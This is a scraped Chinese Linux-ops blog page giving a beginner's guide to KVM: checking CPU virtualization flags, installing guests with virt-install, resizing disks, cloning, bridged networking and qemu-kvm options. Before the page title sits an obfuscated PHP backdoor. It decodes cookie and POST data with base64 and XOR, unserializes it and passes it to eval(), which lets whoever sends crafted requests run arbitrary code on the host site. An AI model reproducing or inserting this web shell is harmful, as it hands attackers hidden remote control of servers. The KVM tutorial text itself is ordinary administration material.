$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} KVM基本功能 | Linux运维部落

KVM基本功能

前言:本来想写出关于KVM的精品文章,然而学的时间不够长,理解也不够透彻。所以有关KVM的高级功能只能等下一次在写。本次只涉及到KVM的基础核心功能,平时经常会使用的功能.

一、环境准备:

1BIOS启用Virtualication

2、在linux系统上查看系统是否支持硬件虚拟化。Intel系列CPU支持虚拟化标识为vmxAMD系列CPU标识为svm

[root@kvm ~]# egrep –color "svm|vmx" /proc/cpuinfo

flags              : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf unfair_spinlock pni pclmulqdq vmx ssse3 cx16 pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx f16c hypervisor lahf_lm arat epb pln pts dts tpr_shadow vnmi ept vpid fsgsbase smep

3、安装kvm软件包。

yum install qemu-kvm libvirt  python-virtinst  -y  

ln -s /usr/libexec/qemu-kvm /usr/bin/qemu-kvm

二、客户机管理

1、安装客户机。

qemu-img create  -f raw /opt/kvm_demo/CentOS.raw 5G  #创建一个5G的raw格式的虚拟磁盘
virt-install --virt-type kvm --name kvm-demo --ram 512 --cdrom=/dev/sr0 --network network=default --graphics vnc,listen=0.0.0.0 --noautoconsole --os-type=linux --os-variant=rhel6 --disk path=/opt/kvm_demo/CentOS.raw  #系统会默认开启5900端口,然后通过VNC安装

2、修改客户机磁盘大小

qemu-img resize /opt/kvm_demo/CentOS1.raw +1G   #修改磁盘文件大小,resize不支持qcow2的磁盘格式。
virsh define <domain>  #这个domain为使用这个磁盘文件的domain
#重启客户机,即可

3、修改客户机内存

virsh edit kvm-demo   #kvm-demo 为domain名称
#修改数字,memory为最大分配内存。currentMemory为启动时候分配给客户机的内存。一般两者同时修改。
<memory unit='KiB'>524288</memory>
  <currentMemory unit='KiB'>524288</currentMemory>

4、克隆虚拟机

复制xml文件,和磁盘文件。然后修改这几项。

<   <name>kvm-demo</name>
<   <uuid>3f1bcefa-76f7-0482-d36a-70a91ff7ae5c</uuid>
---
>   <name>kvm-demo1</name>
>   <uuid>3f1bcefa-76f7-0482-d36a-70a91ff7ae5d</uuid>
24c24
<       <source file='/opt/kvm_demo/CentOS.raw'/>
---
>       <source file='/opt/kvm_demo/CentOS1.raw'/>
60c60
<       <mac address='52:54:00:cd:cc:2d'/>
---
>       <mac address='52:54:00:cd:cc:2e'/>
 
virsh define new.xml
virsh start new_domain_name
#在客户机里面,删除70-persistent-net.rules 
#修改ifcfg-eth0: 删除UUID,MAC,然后可以使用

5、转换磁盘格式

qemu-img convert -c -f raw -O qcow2 source dest

6、创建磁盘快照

snapshot [-l | -a snapshot | -c snapshot | -d snapshot] filename

7、创建桥接模式的虚拟机

默认network创建的为NAT模式的网络,地址范围一般在192.168.122.2~192.168.122.254之间。使用桥接模式

brctl addbr br0    #添加桥
brctl addif br0 eth0   #将eth0绑定到br0上面
brctl stp br0 on       #将br0设置为启用stp协议
ifconfig eth0 0        #将eth0的IP设置为0
dhclient br0           #将br0的网络配置好  
qemu-img create -f raw /opt/test.raw 5G
virt-install -n test -r 800  --vcpus=2 -c /dev/sr0 --os-type=linux   --os-variant=rhel6   --disk=/opt/test.raw  --network bridge=br0 --graphics vnc,listen=0.0.0.0 -v
#重点在于--network bridge=br0,然后安装虚拟机,修改防火墙规则即可。

三、附录:使用qemu-kvm管理虚拟机

1、使用qemu-kvm安装Guest

基于libvirt的工具如virt-managervirt-install提供了非常便捷的虚拟机管理接口,但它们事实上上经二次开发后又封装了qemu-kvm的工具。因此,直接使用qemu-kvm命令也能够完成此前的任务。

2qemu-kvm命令

RHEL6上,qemu-kvm位于/usr/libexec目录中。由于此目录不属于PATH环境变量,故无法直接使用,这样也阻止了可以直接使用qemu作为创建并管理虚拟机。如若想使用qemu虚拟机,可以通过将/usr/libexec/qemu-kvm链接为/usr/bin/qemu实现。

# ln  -sv  /usr/lib/exec/qemu-kvm  /usr/bin/qemu-kvm

qemu-kvm命令使用格式为“qemu-kvm  [options]  [disk_image]”,其选项非常多,不过,大致可分为如下几类。

       标准选项;

       USB选项;

       显示选项;

       i386平台专用选项;

       网络选项;

       字符设备选项;

       蓝牙相关选项;

       Linux系统引导专用选项;

       调试/专家模式选项;

       PowerPC专用选项;

       Sparc32专用选项;

考虑到篇幅及使用需要,这里介绍的选项主要涉及到标准选项、显示选项、i386平台专用选项及Linux系统引导专用选项等相关的选项。

4.1qemu-kvm的标准选项

qemu-kvm的标准选项主要涉及指定主机类型、CPU模式、NUMA、软驱设备、光驱设备及硬件设备等。
       -name name #设定虚拟机名称;
       -M machine #指定要模拟的主机类型,如Standard PC、ISA-only PC或Intel-Mac等,可以使用“qemu-kvm -M ?”获取所支持的所有类型;
       -m megs    #设定虚拟机的RAM大小;
       -cpu model  #设定CPU模型,如coreduo、qemu64等,可以使用“qemu-kvm -cpu ?”获取所支持的所有模型;
       -smp n[,cores=cores][,threads=threads][,sockets=sockets][,maxcpus=maxcpus] #设定模拟的SMP架构中CPU的个数等、每个CPU的核心数及CPU的socket数目等;PC机上最多可以模拟255颗CPU;maxcpus用于指定热插入的CPU个数上限;
       -numa opts #指定模拟多节点的numa设备;
       -fda file
       -fdb file #使用指定文件(file)作为软盘镜像,file为/dev/fd0表示使用物理软驱;
       -hda file  #第二块磁盘位置
       -hdb file
       -hdc file
       -hdd file #使用指定file作为硬盘镜像;
       -cdrom file #使用指定file作为CD-ROM镜像,需要注意的是-cdrom和-hdc不能同时使用;将file指定为/dev/cdrom可以直接使用物理光驱;
       -drive option[,option[,option[,...]]] #定义一个硬盘设备;可用子选项有很多。
         file=/path/to/somefile #硬件映像文件路径;
         if=interface           #指定硬盘设备所连接的接口类型,即控制器类型,如ide、scsi、sd、mtd、floppy、pflash及virtio等;
         index=index            #设定同一种控制器类型中不同设备的索引号,即标识号;
         media=media          #定义介质类型为硬盘(disk)还是光盘(cdrom);
         snapshot=snapshot    #指定当前硬盘设备是否支持快照功能:on或off;
         cache=cache           #定义如何使用物理机缓存来访问块数据,其可用值有none、writeback、unsafe和writethrough四个;
         format=format         #指定映像文件的格式,具体格式可参见qemu-img命令;
       -boot [order=drives][,once=drives][,menu=on|off] #定义启动设备的引导次序,每种设备使用一个字符表示;不同的架构所支持的设备及其表示字符不尽相同,在x86 PC架构上,a、b表示软驱、c表示第一块硬盘,d表示第一个光驱设备,n-p表示网络适配器;默认为硬盘设备;
       -boot order=dc,once=d

4.2 qemu-kvm的显示选项

显示选项用于定义虚拟机启动后的显示接口相关类型及属性等。
       -nographic #默认情况下,qemu使用SDL来显示VGA输出;而此选项用于禁止图形接口,此时,qemu类似一个简单的命令行程序,其仿真串口设备将被重定向到控制台;
       -curses    #禁止图形接口,并使用curses/ncurses作为交互接口;
       -alt-grab   #使用Ctrl+Alt+Shift组合键释放鼠标;
       -ctrl-grab  #使用右Ctrl键释放鼠标;
       -sdl        #启用SDL;
       -spice option[,option[,...]] #启用spice远程桌面协议;其有许多子选项,具体请参照qemu-kvm的手册;
       -vga type   #指定要仿真的VGA接口类型,常见类型有:
            cirrus   #Cirrus Logic GD5446显示卡;
            std     #带有Bochs VBI扩展的标准VGA显示卡;
            vmware #VMWare SVGA-II兼容的显示适配器;
            qxl      #QXL半虚拟化显示卡;与VGA兼容;在Guest中安装qxl驱动后能以很好的方式工作,在使用spice协议时推荐使用此类型;
            none    #禁用VGA卡;
       -vnc display[,option[,option[,...]]] #默认情况下,qemu使用SDL显示VGA输出;使用-vnc选项,可以让qemu监听在VNC上,并将VGA输出重定向至VNC会话;使用此选项时,必须使用-k选项指定键盘布局类型;其有许多子选项,具体请参照qemu-kvm的手册;
       display:
               (1)host:N
                     172.16.100.7:1, 监听于172.16.100.7主的5900+N的端口上
              (2) unix:/path/to/socket_file
              (3) none
       options#
              password   3 连接时需要验正密码;设定密码通过monitor接口使用change
              reverse:    #“反向”连接至某处于监听状态的vncview上;
       -monitor stdio  #表示在标准输入输出上显示monitor界面
       -nographic
              Ctrl-a, c: 在console和monitor之间切换
              Ctrl-a, h: 显示帮助信息

四、总结

    1、这次博客没有实例,上面的命令大家都能看懂,直接就可以实现了。

    2、我对KVM理解的不够深,这次就是先开个头,写一下KVM,以后对KVM的理解更上一层楼之后,会再次总结的。

    3、对KVM的操作还是多动手,多尝试几次。

原创文章,作者:艾贺,如若转载,请注明出处:http://www.178linux.com/8936

(0)
上一篇 2015-10-22 09:17
下一篇 2015-10-27 23:14

相关推荐

  • N25-第17周博客作业

    1、结合图形描述LVS的工作原理;     LVS (Linux Virtual Server)是一种集群(Cluster)技术,采用IP负载均衡技术和基于内容请求分发技术。调度器具有很好的吞吐率,将请求均衡地转移到不同的服务器上执行,且调度器自动屏蔽掉服务器的故障,从而将一组服务器构成一个高性能的、高可用的虚拟服务器。整个服务器集群的结…

    Linux干货 2017-05-21
  • N22-第三周作业

    1、列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 ~]# who | cut -d' ' -f1| uniq -u  执行前的情况:  执行后的情况:    &nbsp…

    Linux干货 2016-09-06
  • CPU 处理器架构知识

    CPU处理器架构: 主要有ARM、X86/Atom、MIPS、PowerPC,其中ARM在智能手机上面一枝独秀;其中ARM/MIPS/PowerPC均是基于精简指令集机器处理器的架构;X86则是基于复杂指令集的架构,Atom是x86或者是x86指令集的精简版。 Android在支持各种处理器的现状: ARM+Android 最早发展、完善的支持,主要在手机市…

    Linux干货 2015-08-03
  • Linux用户和组管理(第三周)

    第三周作业 1.列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可 [root@localhost ~]# who | cut -d" " -f1 | sort | uniq 2.取出最后登录到当…

    Linux干货 2016-09-15
  • 第九周:shell脚本之判断练习

    1、写一个脚本,判断当前系统上所有用户的shell是否为可登录shell(即用户的shell不是/sbin/nologin);分别这两类用户的个数;通过字符串比较来实现; #!/bin/bash # declare -i LoginUser=0 declare -i NologinUser=0 while r…

    Linux干货 2016-11-21
  • Linux用户和组管理

    Linux用户和组管理 Username / UID 管理员:root,0 普通用户 : 1–65535 系统用户 :系统已经已经存在专门用来对系统服务或者系统资源进行管理的 1–499(CentOS 6.X) 1–999 (CentOS 7.X) 登录用户:平时专门做系统管理的用户 500+ (CentOS 6.X) 1000+ (CeentOS 7.X)…

    Linux干货 2017-04-01

评论列表(1条)

  • stanley
    stanley 2015-10-27 23:13

    小伙子写的非常不错,字里行间看的出认真。和练肌肉一样,加油